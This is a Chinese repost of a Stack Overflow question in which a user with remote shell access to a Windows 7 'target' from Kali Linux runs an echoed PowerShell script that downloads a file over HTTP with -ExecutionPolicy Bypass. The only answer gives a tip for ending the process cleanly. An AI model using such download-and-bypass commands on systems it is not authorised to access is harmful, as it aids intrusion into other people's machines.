gpt4 book ai didi

linux - 在 echo 文件中终止 Powershell

转载 作者:塔克拉玛干 更新时间:2023-11-03 01:18:53 25 4
gpt4 key购买 nike

我正在通过远程命令行执行 powershell 脚本并遇到以下问题...

问题:需要通过http连接传输一个或多个文件...服务器:Kali Linux客户端:Windows 7

我已将命令回显到 ps1 文件中,也可以通过命令行执行该文件,但我无法在传输完成后终止进程并返回到目标的 cmd 提示...

ps1如下:

$storageDir = $pwd
$webclient = New-Object System.Net.WebClient
$url = "http://<IPAdressOfTarget>/<FileToGrab>"
$file = "<SavedName>"
$webclient.DownloadFile($url,$file)

从kali系统执行如下:

# powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File PowershellFileName.ps1

我已将 exit 附加到文件底部,但没有成功...

crtl + c 是我发现终止的唯一方式,这也终止了我的远程访问。

有什么建议吗???

最佳答案

您是否尝试过添加 < NUL在通话结束时?

# powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File PowershellFileName.ps1 < NUL

关于linux - 在 echo 文件中终止 Powershell,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/46609852/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com